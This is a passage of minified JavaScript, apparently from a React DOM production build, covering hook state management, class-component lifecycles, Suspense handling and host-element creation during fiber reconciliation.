e=0;e<Ii.length;e++)Ii[e]._workInProgressVersionPrimary=null;Ii.length=0}function pt(){throw Error(t(321))}function mt(e,n){if(null===n)return!1;for(var t=0;t<n.length&&t<e.length;t++)if(!wo(e[t],n[t]))return!1;return!0}function ht(e,n,r,l,a,u){if(Ai=u,Bi=n,n.memoizedState=null,n.updateQueue=null,n.lanes=0,Ui.current=null===e||null===e.memoizedState?Yi:Xi,e=r(l,a),ji){u=0;do{if(ji=!1,$i=0,25<=u)throw Error(t(301));u+=1,Hi=Wi=null,n.updateQueue=null,Ui.current=Gi,e=r(l,a)}while(ji)}if(Ui.current=Ki,n=null!==Wi&&null!==Wi.next,Ai=0,Hi=Wi=Bi=null,Qi=!1,n)throw Error(t(300));return e}function gt(){var e=0!==$i;return $i=0,e}function vt(){var e={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return null===Hi?Bi.memoizedState=Hi=e:Hi=Hi.next=e,Hi}function yt(){if(null===Wi){var e=Bi.alternate;e=null!==e?e.memoizedState:null}else e=Wi.next;var n=null===Hi?Bi.memoizedState:Hi.next;if(null!==n)Hi=n,Wi=e;else{if(null===e)throw Error(t(310));e={memoizedState:(Wi=e).memoizedState,baseState:Wi.baseState,baseQueue:Wi.baseQueue,queue:Wi.queue,next:null},null===Hi?Bi.memoizedState=Hi=e:Hi=Hi.next=e}return Hi}function bt(e,n){return"function"==typeof n?n(e):n}function kt(e,n,r){if(null===(r=(n=yt()).queue))throw Error(t(311));r.lastRenderedReducer=e;var l=Wi,a=l.baseQueue,u=r.pending;if(null!==u){if(null!==a){var o=a.next;a.next=u.next,u.next=o}l.baseQueue=a=u,r.pending=null}if(null!==a){u=a.next,l=l.baseState;var i=o=null,s=null,c=u;do{var f=c.lane;if((Ai&f)===f)null!==s&&(s=s.next={lane:0,action:c.action,hasEagerState:c.hasEagerState,eagerState:c.eagerState,next:null}),l=c.hasEagerState?c.eagerState:e(l,c.action);else{var d={lane:f,action:c.action,hasEagerState:c.hasEagerState,eagerState:c.eagerState,next:null};null===s?(i=s=d,o=l):s=s.next=d,Bi.lanes|=f,zs|=f}c=c.next}while(null!==c&&c!==u);null===s?o=l:s.next=i,wo(l,n.memoizedState)||(ns=!0),n.memoizedState=l,n.baseState=o,n.baseQueue=s,r.lastRenderedState=l}if(null!==(e=r.interleaved)){a=e;do{u=a.lane,Bi.lanes|=u,zs|=u,a=a.next}while(a!==e)}else null===a&&(r.lanes=0);return[n.memoizedState,r.dispatch]}function wt(e,n,r){if(null===(r=(n=yt()).queue))throw Error(t(311));r.lastRenderedReducer=e;var l=r.dispatch,a=r.pending,u=n.memoizedState;if(null!==a){r.pending=null;var o=a=a.next;do{u=e(u,o.action),o=o.next}while(o!==a);wo(u,n.memoizedState)||(ns=!0),n.memoizedState=u,null===n.baseQueue&&(n.baseState=u),r.lastRenderedState=u}return[u,l]}function St(e,n,t){}function xt(e,n,r){r=Bi;var l=yt(),a=n(),u=!wo(l.memoizedState,a);if(u&&(l.memoizedState=a,ns=!0),l=l.queue,Dt(zt.bind(null,r,l,e),[e]),l.getSnapshot!==n||u||null!==Hi&&1&Hi.memoizedState.tag){if(r.flags|=2048,Lt(9,Ct.bind(null,r,l,a,n),void 0,null),null===bs)throw Error(t(349));30&Ai||Et(r,n,a)}return a}function Et(e,n,t){e.flags|=16384,e={getSnapshot:n,value:t},null===(n=Bi.updateQueue)?(n={lastEffect:null,stores:null},Bi.updateQueue=n,n.stores=[e]):null===(t=n.stores)?n.stores=[e]:t.push(e)}function Ct(e,n,t,r){n.value=t,n.getSnapshot=r,Nt(n)&&Pt(e)}function zt(e,n,t){return t((function(){Nt(n)&&Pt(e)}))}function Nt(e){var n=e.getSnapshot;e=e.value;try{var t=n();return!wo(e,t)}catch(e){return!0}}function Pt(e){var n=Gn(e,1);null!==n&&al(n,e,1,-1)}function _t(e){var n=vt();return"function"==typeof e&&(e=e()),n.memoizedState=n.baseState=e,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:bt,lastRenderedState:e},n.queue=e,e=e.dispatch=qt.bind(null,Bi,e),[n.memoizedState,e]}function Lt(e,n,t,r){return e={tag:e,create:n,destroy:t,deps:r,next:null},null===(n=Bi.updateQueue)?(n={lastEffect:null,stores:null},Bi.updateQueue=n,n.lastEffect=e.next=e):null===(t=n.lastEffect)?n.lastEffect=e.next=e:(r=t.next,t.next=e,e.next=r,n.lastEffect=e),e}function Tt(e){return yt().memoizedState}function Mt(e,n,t,r){var l=vt();Bi.flags|=e,l.memoizedState=Lt(1|n,t,void 0,void 0===r?null:r)}function Ft(e,n,t,r){var l=yt();r=void 0===r?null:r;var a=void 0;if(null!==Wi){var u=Wi.memoizedState;if(a=u.destroy,null!==r&&mt(r,u.deps))return void(l.memoizedState=Lt(n,t,a,r))}Bi.flags|=e,l.memoizedState=Lt(1|n,t,a,r)}function Rt(e,n){return Mt(8390656,8,e,n)}function Dt(e,n){return Ft(2048,8,e,n)}function Ot(e,n){return Ft(4,2,e,n)}function It(e,n){return Ft(4,4,e,n)}function Ut(e,n){return"function"==typeof n?(e=e(),n(e),function(){n(null)}):null!=n?(e=e(),n.current=e,function(){n.current=null}):void 0}function Vt(e,n,t){return t=null!=t?t.concat([e]):null,Ft(4,4,Ut.bind(null,n,e),t)}function At(e,n){}function Bt(e,n){var t=yt();n=void 0===n?null:n;var r=t.memoizedState;return null!==r&&null!==n&&mt(n,r[1])?r[0]:(t.memoizedState=[e,n],e)}function Wt(e,n){var t=yt();n=void 0===n?null:n;var r=t.memoizedState;return null!==r&&null!==n&&mt(n,r[1])?r[0]:(e=e(),t.memoizedState=[e,n],e)}function Ht(e,n,t){return 21&Ai?(wo(t,n)||(t=Z(),Bi.lanes|=t,zs|=t,e.baseState=!0),n):(e.baseState&&(e.baseState=!1,ns=!0),e.memoizedState=t)}function Qt(e,n,t){xu=0!==(t=xu)&&4>t?t:4,e(!0);var r=Vi.transition;Vi.transition={};try{e(!1),n()}finally{xu=t,Vi.transition=r}}function jt(){return yt().memoizedState}function $t(e,n,t){var r=ll(e);t={lane:r,action:t,hasEagerState:!1,eagerState:null,next:null},Kt(e)?Yt(n,t):null!==(t=Xn(e,n,t,r))&&(al(t,e,r,rl()),Xt(t,n,r))}function qt(e,n,t){var r=ll(e),l={lane:r,action:t,hasEagerState:!1,eagerState:null,next:null};if(Kt(e))Yt(n,l);else{var a=e.alternate;if(0===e.lanes&&(null===a||0===a.lanes)&&null!==(a=n.lastRenderedReducer))try{var u=n.lastRenderedState,o=a(u,t);if(l.hasEagerState=!0,l.eagerState=o,wo(o,u)){var i=n.interleaved;return null===i?(l.next=l,Yn(n)):(l.next=i.next,i.next=l),void(n.interleaved=l)}}catch(e){}null!==(t=Xn(e,n,l,r))&&(al(t,e,r,l=rl()),Xt(t,n,r))}}function Kt(e){var n=e.alternate;return e===Bi||null!==n&&n===Bi}function Yt(e,n){ji=Qi=!0;var t=e.pending;null===t?n.next=n:(n.next=t.next,t.next=n),e.pending=n}function Xt(e,n,t){if(4194240&t){var r=n.lanes;t|=r&=e.pendingLanes,n.lanes=t,ne(e,t)}}function Gt(e,n){if(e&&e.defaultProps){for(var t in n=La({},n),e=e.defaultProps)void 0===n[t]&&(n[t]=e[t]);return n}return n}function Zt(e,n,t,r){t=null==(t=t(r,n=e.memoizedState))?n:La({},n,t),e.memoizedState=t,0===e.lanes&&(e.updateQueue.baseState=t)}function Jt(e,n,t,r,l,a,u){return"function"==typeof(e=e.stateNode).shouldComponentUpdate?e.shouldComponentUpdate(r,a,u):!(n.prototype&&n.prototype.isPureReactComponent&&Oe(t,r)&&Oe(l,a))}function er(e,n,t){var r=!1,l=ti,a=n.contextType;return"object"==typeof a&&null!==a?a=Kn(a):(l=wn(n)?ai:ri.current,a=(r=null!=(r=n.contextTypes))?kn(e,l):ti),n=new n(t,a),e.memoizedState=null!==n.state&&void 0!==n.state?n.state:null,n.updater=Zi,e.stateNode=n,n._reactInternals=e,r&&((e=e.stateNode).__reactInternalMemoizedUnmaskedChildContext=l,e.__reactInternalMemoizedMaskedChildContext=a),n}function nr(e,n,t,r){e=n.state,"function"==typeof n.componentWillReceiveProps&&n.componentWillReceiveProps(t,r),"function"==typeof n.UNSAFE_componentWillReceiveProps&&n.UNSAFE_componentWillReceiveProps(t,r),n.state!==e&&Zi.enqueueReplaceState(n,n.state,null)}function tr(e,n,t,r){var l=e.stateNode;l.props=t,l.state=e.memoizedState,l.refs={},Zn(e);var a=n.contextType;"object"==typeof a&&null!==a?l.context=Kn(a):(a=wn(n)?ai:ri.current,l.context=kn(e,a)),l.state=e.memoizedState,"function"==typeof(a=n.getDerivedStateFromProps)&&(Zt(e,n,a,t),l.state=e.memoizedState),"function"==typeof n.getDerivedStateFromProps||"function"==typeof l.getSnapshotBeforeUpdate||"function"!=typeof l.UNSAFE_componentWillMount&&"function"!=typeof l.componentWillMount||(n=l.state,"function"==typeof l.componentWillMount&&l.componentWillMount(),"function"==typeof l.UNSAFE_componentWillMount&&l.UNSAFE_componentWillMount(),n!==l.state&&Zi.enqueueReplaceState(l,l.state,null),lt(e,t,l,r),l.state=e.memoizedState),"function"==typeof l.componentDidMount&&(e.flags|=4194308)}function rr(e,n){try{var t="",r=n;do{t+=c(r),r=r.return}while(r);var l=t}catch(e){l="\nError generating stack: "+e.message+"\n"+e.stack}return{value:e,source:n,stack:l,digest:null}}function lr(e,n,t){return{value:e,source:null,stack:null!=t?t:null,digest:null!=n?n:null}}function ar(e,n){try{console.error(n.value)}catch(e){setTimeout((function(){throw e}))}}function ur(e,n,t){(t=et(-1,t)).tag=3,t.payload={element:null};var r=n.value;return t.callback=function(){Rs||(Rs=!0,Ds=r),ar(0,n)},t}function or(e,n,t){(t=et(-1,t)).tag=3;var r=e.type.getDerivedStateFromError;if("function"==typeof r){var l=n.value;t.payload=function(){return r(l)},t.callback=function(){ar(0,n)}}var a=e.stateNode;return null!==a&&"function"==typeof a.componentDidCatch&&(t.callback=function(){ar(0,n),"function"!=typeof r&&(null===Os?Os=new Set([this]):Os.add(this));var e=n.stack;this.componentDidCatch(n.value,{componentStack:null!==e?e:""})}),t}function ir(e,n,t){var r=e.pingCache;if(null===r){r=e.pingCache=new Ji;var l=new Set;r.set(n,l)}else void 0===(l=r.get(n))&&(l=new Set,r.set(n,l));l.has(t)||(l.add(t),e=Nl.bind(null,e,n,t),n.then(e,e))}function sr(e){do{var n;if((n=13===e.tag)&&(n=null===(n=e.memoizedState)||null!==n.dehydrated),n)return e;e=e.return}while(null!==e);return null}function cr(e,n,t,r,l){return 1&e.mode?(e.flags|=65536,e.lanes=l,e):(e===n?e.flags|=65536:(e.flags|=128,t.flags|=131072,t.flags&=-52805,1===t.tag&&(null===t.alternate?t.tag=17:((n=et(-1,1)).tag=2,nt(t,n,1))),t.lanes|=1),e)}function fr(e,n,t,r){n.child=null===e?Ei(n,null,t,r):xi(n,e.child,t,r)}function dr(e,n,t,r,l){t=t.render;var a=n.ref;return qn(n,l),r=ht(e,n,t,r,a,l),t=gt(),null===e||ns?(ki&&t&&Ln(n),n.flags|=1,fr(e,n,r,l),n.child):(n.updateQueue=e.updateQueue,n.flags&=-2053,e.lanes&=~l,Lr(e,n,l))}function pr(e,n,t,r,l){if(null===e){var a=t.type;return"function"!=typeof a||Fl(a)||void 0!==a.defaultProps||null!==t.compare||void 0!==t.defaultProps?((e=Dl(t.type,null,r,n,n.mode,l)).ref=n.ref,e.return=n,n.child=e):(n.tag=15,n.type=a,mr(e,n,a,r,l))}if(a=e.child,!(e.lanes&l)){var u=a.memoizedProps;if((t=null!==(t=t.compare)?t:Oe)(u,r)&&e.ref===n.ref)return Lr(e,n,l)}return n.flags|=1,(e=Rl(a,r)).ref=n.ref,e.return=n,n.child=e}function mr(e,n,t,r,l){if(null!==e){var a=e.memoizedProps;if(Oe(a,r)&&e.ref===n.ref){if(ns=!1,n.pendingProps=r=a,!(e.lanes&l))return n.lanes=e.lanes,Lr(e,n,l);131072&e.flags&&(ns=!0)}}return vr(e,n,t,r,l)}function hr(e,n,t){var r=n.pendingProps,l=r.children,a=null!==e?e.memoizedState:null;if("hidden"===r.mode)if(1&n.mode){if(!(1073741824&t))return e=null!==a?a.baseLanes|t:t,n.lanes=n.childLanes=1073741824,n.memoizedState={baseLanes:e,cachePool:null,transitions:null},n.updateQueue=null,bn(xs,Ss),Ss|=e,null;n.memoizedState={baseLanes:0,cachePool:null,transitions:null},r=null!==a?a.baseLanes:t,bn(xs,Ss),Ss|=r}else n.memoizedState={baseLanes:0,cachePool:null,transitions:null},bn(xs,Ss),Ss|=t;else null!==a?(r=a.baseLanes|t,n.memoizedState=null):r=t,bn(xs,Ss),Ss|=r;return fr(e,n,l,t),n.child}function gr(e,n){var t=n.ref;(null===e&&null!==t||null!==e&&e.ref!==t)&&(n.flags|=512,n.flags|=2097152)}function vr(e,n,t,r,l){var a=wn(t)?ai:ri.current;return a=kn(n,a),qn(n,l),t=ht(e,n,t,r,a,l),r=gt(),null===e||ns?(ki&&r&&Ln(n),n.flags|=1,fr(e,n,t,l),n.child):(n.updateQueue=e.updateQueue,n.flags&=-2053,e.lanes&=~l,Lr(e,n,l))}function yr(e,n,t,r,l){if(wn(t)){var a=!0;En(n)}else a=!1;if(qn(n,l),null===n.stateNode)_r(e,n),er(n,t,r),tr(n,t,r,l),r=!0;else if(null===e){var u=n.stateNode,o=n.memoizedProps;u.props=o;var i=u.context,s=t.contextType;s="object"==typeof s&&null!==s?Kn(s):kn(n,s=wn(t)?ai:ri.current);var c=t.getDerivedStateFromProps,f="function"==typeof c||"function"==typeof u.getSnapshotBeforeUpdate;f||"function"!=typeof u.UNSAFE_componentWillReceiveProps&&"function"!=typeof u.componentWillReceiveProps||(o!==r||i!==s)&&nr(n,u,r,s),Ti=!1;var d=n.memoizedState;u.state=d,lt(n,r,u,l),i=n.memoizedState,o!==r||d!==i||li.current||Ti?("function"==typeof c&&(Zt(n,t,c,r),i=n.memoizedState),(o=Ti||Jt(n,t,o,r,d,i,s))?(f||"function"!=typeof u.UNSAFE_componentWillMount&&"function"!=typeof u.componentWillMount||("function"==typeof u.componentWillMount&&u.componentWillMount(),"function"==typeof u.UNSAFE_componentWillMount&&u.UNSAFE_componentWillMount()),"function"==typeof u.componentDidMount&&(n.flags|=4194308)):("function"==typeof u.componentDidMount&&(n.flags|=4194308),n.memoizedProps=r,n.memoizedState=i),u.props=r,u.state=i,u.context=s,r=o):("function"==typeof u.componentDidMount&&(n.flags|=4194308),r=!1)}else{u=n.stateNode,Jn(e,n),o=n.memoizedProps,s=n.type===n.elementType?o:Gt(n.type,o),u.props=s,f=n.pendingProps,d=u.context,i="object"==typeof(i=t.contextType)&&null!==i?Kn(i):kn(n,i=wn(t)?ai:ri.current);var p=t.getDerivedStateFromProps;(c="function"==typeof p||"function"==typeof u.getSnapshotBeforeUpdate)||"function"!=typeof u.UNSAFE_componentWillReceiveProps&&"function"!=typeof u.componentWillReceiveProps||(o!==f||d!==i)&&nr(n,u,r,i),Ti=!1,d=n.memoizedState,u.state=d,lt(n,r,u,l);var m=n.memoizedState;o!==f||d!==m||li.current||Ti?("function"==typeof p&&(Zt(n,t,p,r),m=n.memoizedState),(s=Ti||Jt(n,t,s,r,d,m,i)||!1)?(c||"function"!=typeof u.UNSAFE_componentWillUpdate&&"function"!=typeof u.componentWillUpdate||("function"==typeof u.componentWillUpdate&&u.componentWillUpdate(r,m,i),"function"==typeof u.UNSAFE_componentWillUpdate&&u.UNSAFE_componentWillUpdate(r,m,i)),"function"==typeof u.componentDidUpdate&&(n.flags|=4),"function"==typeof u.getSnapshotBeforeUpdate&&(n.flags|=1024)):("function"!=typeof u.componentDidUpdate||o===e.memoizedProps&&d===e.memoizedState||(n.flags|=4),"function"!=typeof u.getSnapshotBeforeUpdate||o===e.memoizedProps&&d===e.memoizedState||(n.flags|=1024),n.memoizedProps=r,n.memoizedState=m),u.props=r,u.state=m,u.context=i,r=s):("function"!=typeof u.componentDidUpdate||o===e.memoizedProps&&d===e.memoizedState||(n.flags|=4),"function"!=typeof u.getSnapshotBeforeUpdate||o===e.memoizedProps&&d===e.memoizedState||(n.flags|=1024),r=!1)}return br(e,n,t,r,a,l)}function br(e,n,t,r,l,a){gr(e,n);var u=!!(128&n.flags);if(!r&&!u)return l&&Cn(n,t,!1),Lr(e,n,a);r=n.stateNode,es.current=n;var o=u&&"function"!=typeof t.getDerivedStateFromError?null:r.render();return n.flags|=1,null!==e&&u?(n.child=xi(n,e.child,null,a),n.child=xi(n,null,o,a)):fr(e,n,o,a),n.memoizedState=r.state,l&&Cn(n,t,!0),n.child}function kr(e){var n=e.stateNode;n.pendingContext?Sn(0,n.pendingContext,n.pendingContext!==n.context):n.context&&Sn(0,n.context,!1),ot(e,n.containerInfo)}function wr(e,n,t,r,l){return Un(),Vn(l),n.flags|=256,fr(e,n,t,r),n.child}function Sr(e){return{baseLanes:e,cachePool:null,transitions:null}}function xr(e,n,r){var l,a=n.pendingProps,u=Oi.current,o=!1,i=!!(128&n.flags);if((l=i)||(l=(null===e||null!==e.memoizedState)&&!!(2&u)),l?(o=!0,n.flags&=-129):null!==e&&null===e.memoizedState||(u|=1),bn(Oi,1&u),null===e)return Dn(n),null!==(e=n.memoizedState)&&null!==(e=e.dehydrated)?(1&n.mode?"$!"===e.data?n.lanes=8:n.lanes=1073741824:n.lanes=1,null):(i=a.children,e=a.fallback,o?(a=n.mode,o=n.child,i={mode:"hidden",children:i},1&a||null===o?o=Il(i,a,0,null):(o.childLanes=0,o.pendingProps=i),e=Ol(e,a,r,null),o.return=n,e.return=n,o.sibling=e,n.child=o,n.child.memoizedState=Sr(r),n.memoizedState=ts,e):Er(n,i));if(null!==(u=e.memoizedState)&&null!==(l=u.dehydrated))return function(e,n,r,l,a,u,o){if(r)return 256&n.flags?(n.flags&=-257,Cr(e,n,o,l=lr(Error(t(422))))):null!==n.memoizedState?(n.child=e.child,n.flags|=128,null):(u=l.fallback,a=n.mode,l=Il({mode:"visible",children:l.children},a,0,null),(u=Ol(u,a,o,null)).flags|=2,l.return=n,u.return=n,l.sibling=u,n.child=l,1&n.mode&&xi(n,e.child,null,o),n.child.memoizedState=Sr(o),n.memoizedState=ts,u);if(!(1&n.mode))return Cr(e,n,o,null);if("$!"===a.data){if(l=a.nextSibling&&a.nextSibling.dataset)var i=l.dgst;return l=i,Cr(e,n,o,l=lr(u=Error(t(419)),l,void 0))}if(i=!!(o&e.childLanes),ns||i){if(null!==(l=bs)){switch(o&-o){case 4:a=2;break;case 16:a=8;break;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:a=32;break;case 536870912:a=268435456;break;default:a=0}0!==(a=a&(l.suspendedLanes|o)?0:a)&&a!==u.retryLane&&(u.retryLane=a,Gn(e,a),al(l,e,a,-1))}return vl(),Cr(e,n,o,l=lr(Error(t(421))))}return"$?"===a.data?(n.flags|=128,n.child=e.child,n=_l.bind(null,e),a._reactRetry=n,null):(e=u.treeContext,bi=fn(a.nextSibling),yi=n,ki=!0,wi=null,null!==e&&(pi[mi++]=gi,pi[mi++]=vi,pi[mi++]=hi,gi=e.id,vi=e.overflow,hi=n),(n=Er(n,l.children)).flags|=4096,n)}(e,n,i,a,l,u,r);if(o){o=a.fallback,i=n.mode,l=(u=e.child).sibling;var s={mode:"hidden",children:a.children};return 1&i||n.child===u?(a=Rl(u,s)).subtreeFlags=14680064&u.subtreeFlags:((a=n.child).childLanes=0,a.pendingProps=s,n.deletions=null),null!==l?o=Rl(l,o):(o=Ol(o,i,r,null)).flags|=2,o.return=n,a.return=n,a.sibling=o,n.child=a,a=o,o=n.child,i=null===(i=e.child.memoizedState)?Sr(r):{baseLanes:i.baseLanes|r,cachePool:null,transitions:i.transitions},o.memoizedState=i,o.childLanes=e.childLanes&~r,n.memoizedState=ts,a}return e=(o=e.child).sibling,a=Rl(o,{mode:"visible",children:a.children}),!(1&n.mode)&&(a.lanes=r),a.return=n,a.sibling=null,null!==e&&(null===(r=n.deletions)?(n.deletions=[e],n.flags|=16):r.push(e)),n.child=a,n.memoizedState=null,a}function Er(e,n,t){return(n=Il({mode:"visible",children:n},e.mode,0,null)).return=e,e.child=n}function Cr(e,n,t,r){return null!==r&&Vn(r),xi(n,e.child,null,t),(e=Er(n,n.pendingProps.children)).flags|=2,n.memoizedState=null,e}function zr(e,n,t){e.lanes|=n;var r=e.alternate;null!==r&&(r.lanes|=n),$n(e.return,n,t)}function Nr(e,n,t,r,l){var a=e.memoizedState;null===a?e.memoizedState={isBackwards:n,rendering:null,renderingStartTime:0,last:r,tail:t,tailMode:l}:(a.isBackwards=n,a.rendering=null,a.renderingStartTime=0,a.last=r,a.tail=t,a.tailMode=l)}function Pr(e,n,t){var r=n.pendingProps,l=r.revealOrder,a=r.tail;if(fr(e,n,r.children,t),2&(r=Oi.current))r=1&r|2,n.flags|=128;else{if(null!==e&&128&e.flags)e:for(e=n.child;null!==e;){if(13===e.tag)null!==e.memoizedState&&zr(e,t,n);else if(19===e.tag)zr(e,t,n);else if(null!==e.child){e.child.return=e,e=e.child;continue}if(e===n)break e;for(;null===e.sibling;){if(null===e.return||e.return===n)break e;e=e.return}e.sibling.return=e.return,e=e.sibling}r&=1}if(bn(Oi,r),1&n.mode)switch(l){case"forwards":for(t=n.child,l=null;null!==t;)null!==(e=t.alternate)&&null===ft(e)&&(l=t),t=t.sibling;null===(t=l)?(l=n.child,n.child=null):(l=t.sibling,t.sibling=null),Nr(n,!1,l,t,a);break;case"backwards":for(t=null,l=n.child,n.child=null;null!==l;){if(null!==(e=l.alternate)&&null===ft(e)){n.child=l;break}e=l.sibling,l.sibling=t,t=l,l=e}Nr(n,!0,t,null,a);break;case"together":Nr(n,!1,null,null,void 0);break;default:n.memoizedState=null}else n.memoizedState=null;return n.child}function _r(e,n){!(1&n.mode)&&null!==e&&(e.alternate=null,n.alternate=null,n.flags|=2)}function Lr(e,n,r){if(null!==e&&(n.dependencies=e.dependencies),zs|=n.lanes,!(r&n.childLanes))return null;if(null!==e&&n.child!==e.child)throw Error(t(153));if(null!==n.child){for(r=Rl(e=n.child,e.pendingProps),n.child=r,r.return=n;null!==e.sibling;)e=e.sibling,(r=r.sibling=Rl(e,e.pendingProps)).return=n;r.sibling=null}return n.child}function Tr(e,n){if(!ki)switch(e.tailMode){case"hidden":n=e.tail;for(var t=null;null!==n;)null!==n.alternate&&(t=n),n=n.sibling;null===t?e.tail=null:t.sibling=null;break;case"collapsed":t=e.tail;for(var r=null;null!==t;)null!==t.alternate&&(r=t),t=t.sibling;null===r?n||null===e.tail?e.tail=null:e.tail.sibling=null:r.sibling=null}}function Mr(e){var n=null!==e.alternate&&e.alternate.child===e.child,t=0,r=0;if(n)for(var l=e.child;null!==l;)t|=l.lanes|l.childLanes,r|=14680064&l.subtreeFlags,r|=14680064&l.flags,l.return=e,l=l.sibling;else for(l=e.child;null!==l;)t|=l.lanes|l.childLanes,r|=l.subtreeFlags,r|=l.flags,l.return=e,l=l.sibling;return e.subtreeFlags|=r,e.childLanes=t,n}function Fr(e,n,r){var l=n.pendingProps;switch(Tn(n),n.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:return Mr(n),null;case 1:case 17:return wn(n.type)&&(yn(li),yn(ri)),Mr(n),null;case 3:return l=n.stateNode,it(),yn(li),yn(ri),dt(),l.pendingContext&&(l.context=l.pendingContext,l.pendingContext=null),null!==e&&null!==e.child||(In(n)?n.flags|=4:null===e||e.memoizedState.isDehydrated&&!(256&n.flags)||(n.flags|=1024,null!==wi&&(sl(wi),wi=null))),ls(e,n),Mr(n),null;case 5:ct(n);var a=ut(Di.current);if(r=n.type,null!==e&&null!=n.stateNode)as(e,n,r,l,a),e.ref!==n.ref&&(n.flags|=512,n.flags|=2097152);else{if(!l){if(null===n.stateNode)throw Error(t(166));return Mr(n),null}if(e=ut(Fi.current),In(n)){l=n.stateNode,r=n.type;var o=n.memoizedProps;switch(l[Ko]=n,l[Yo]=o,e=!!(1&n.mode),r){case"dialog":Ye("cancel",l),Ye("close",l);break;case"iframe":case"object":case"embed":Ye("load",l);break;case"video":case"audio":for(a=0;a<Oo.length;a++)Ye(Oo[a],l);break;case"source":Ye("error",l);break;case"img":case"image":case"link":Ye("error",l),Ye("load",l);break;case"details":Ye("toggle",l);break;case"input":b(l,o),Ye("invalid",l);break;case"select":l._wrapperState={wasMultiple:!!o.multiple},Ye("invalid",l);break;case"textarea":z(l,o),Ye("invalid",l)}for(var i in F(r,o),a=null,o)if(o.hasOwnProperty(i)){var s=o[i];"children"===i?"string"==typeof s?l.textContent!==s&&(!0!==o.suppressHydrationWarning&&an(l.textContent,s,e),a=["children",s]):"number"==typeof s&&l.textContent!==""+s&&(!0!==o.suppressHydrationWarning&&an(l.textContent,s,e),a=["children",""+s]):ra.hasOwnProperty(i)&&null!=s&&"onScroll"===i&&Ye("scroll",l)}switch(r){case"input":h(l),S(l,o,!0);break;case"textarea":h(l),P(l);break;case"select":case"option":break;default:"function"==typeof o.onClick&&(l.onclick=un)}l=a,n.updateQueue=l,null!==l&&(n.flags|=4)}else{i=9===a.nodeType?a:a.ownerDocument,"http://www.w3.org/1999/xhtml"===e&&(e=_(r)),"http://www.w3.org/1999/xhtml"===e?"script"===r?((e=i.createElement("div")).innerHTML="<script><\/script>",e=e.removeChild(e.firstChild)):"string"==typeof l.is?e=i.createElement(r,{is:l.is}):(e=i.createElement(r),"select"===r&&(i=e,l.multiple?i.multiple=!0:l.size&&(i.size=l.size))):e=i.createElementNS(e,r),e[Ko]=n,e[Yo]=l,rs(e,n,!1,!1),n.stateNode=e;e:{switch(i=R(r,l),r){case"dialog":Ye("cancel",e),Ye("close",e),a=l;break;case"iframe":case"object":case"embed":Ye("load",e),a=l;break;case"video":case"audio":for(a=0;a<Oo.length;a++)Ye(Oo[a],e);a=l;break;case"source":Ye("error",e),a=l;break;case"img":case"image":case"link":Ye("error",e),Ye("load",e),a=l;break;case"details":Ye("toggle",e),a=l;break;case"input":b(e,l),a=y(e,l),Ye("invalid",e);break;case"option":default:a=l;break;case"select":e._wrapperState={wasMultiple:!!l.multiple},a=La({},l,{value:void 0}),Ye("invalid",e);break;case"textarea":z(e,l),a=C(e,l),Ye("invalid",e)}for(o in F(r,a),s=a)if(s.hasOwnProperty(o)){var c=s[o];"style"===o?M(e,c):"dangerouslySetInnerHTML"===o?null!=(c=c?c.__html:void 0)&&Fa(e,c):"children"===o?"string"==typeof c?("textarea"!==r||""!==c)&&Ra(e,c):"number"==typeof c&&Ra(e,""+c):"suppressContentEditableWarning"!==o&&"suppressHydrationWarning"!==o&&"autoFocus"!==o&&(ra.hasOwnProperty(o)?null!=c&&"onScroll"===o&&Ye("scroll",e):null!=c&&u(e,o,c,i))}switch(r){case"input":h(e),S(e,l,!1);break;case"textarea":h(e),P(e);break;case"option":null!=l.value&&e.setAttribute("value",""+p(l.value));break;case"select":e.multiple=!!l.multiple,null!=(o=l.value)?E(e,!!l.multiple,o,!1):null!=l.defaultValue&&E(e,!!l.multiple,l.defaultValue,!0);break;default:"function"==typeof a.onClick&&(e.onclick=un)}switch(r){case"button":case"input":case"select":case"textarea":l=!!l.autoFocus;break e;case"img":l=!0;break e;default:l=!1}}l&&(n.flags|=4)}null!==n.ref&&(n.flags|=512,n.flags|=2097152)}return Mr(n),null;case 6:if(e&&null!=n.stateNode)us(e,n,e.memoizedProps,l);else{if("string"!=typeof l&&null===n.stateNode)throw Error(t(166));if(r=ut(Di.current),ut(Fi.current),In(n)){if(l=n.stateNode,r=n.memoizedProps,l[Ko]=n,(o=l.nodeValue!==r)&&null!==(e=yi))switch(e.tag){case 3:an(l.nodeValue,r,!!(1&e.mode));break;case 5:!0!==e.memoizedProps.suppressHydrationWarning&&an(l.nodeValue,r,!!(1&e.mode))}o&&(n.flags|=4)}else(l=(9===r.nodeType?r:r.ownerDocument).createTextNode(l))[Ko]=n,n.stateNode=l}return Mr(n),null;case 13:if(yn(Oi),l=n.memoizedState,null===e||null!==e.memoizedState&&null!==e.memoizedState.dehydrated){if(ki&&null!==bi&&1&n.mode&&!(128&n.flags)){for(o=bi;o;)o=fn(o.nextSibling);Un(),n.flags|=98560,o=!1}else if(o=In(n),null!==l&&null!==l.dehydrated){if(null===e){if(!o)throw Error(t(318));if(!(o=null!==(o=n.memoizedState)?o.dehydrated:null))throw Error(t(317));o[Ko]=n}else Un(),!(128&n.flags)&&(n.memoizedState=null),n.flags|=4;Mr(n),o=!1}else null!==wi&&(sl(wi),wi=null),o=!0;if(!o)return 65536&n.flags?n:null}return 128&n.flags?(n.lanes=r,n):((l=null!==l)!=(null!==e&&null!==e.memoizedState)&&l&&(n.child.flags|=8192,1&n.mode&&(null===e||1&Oi.current?0===Es&&(Es=3):vl())),null!==n.updateQueue&&(n.flags|=4),Mr(n),null);case 4:return it(),ls(e,n),null===e&&Ge(n.stateNode.containerInfo),Mr(n),null;case 10:return jn(n.type._context),Mr(n),null;case 19:if(yn(Oi),null===(o=n.memoizedState))return 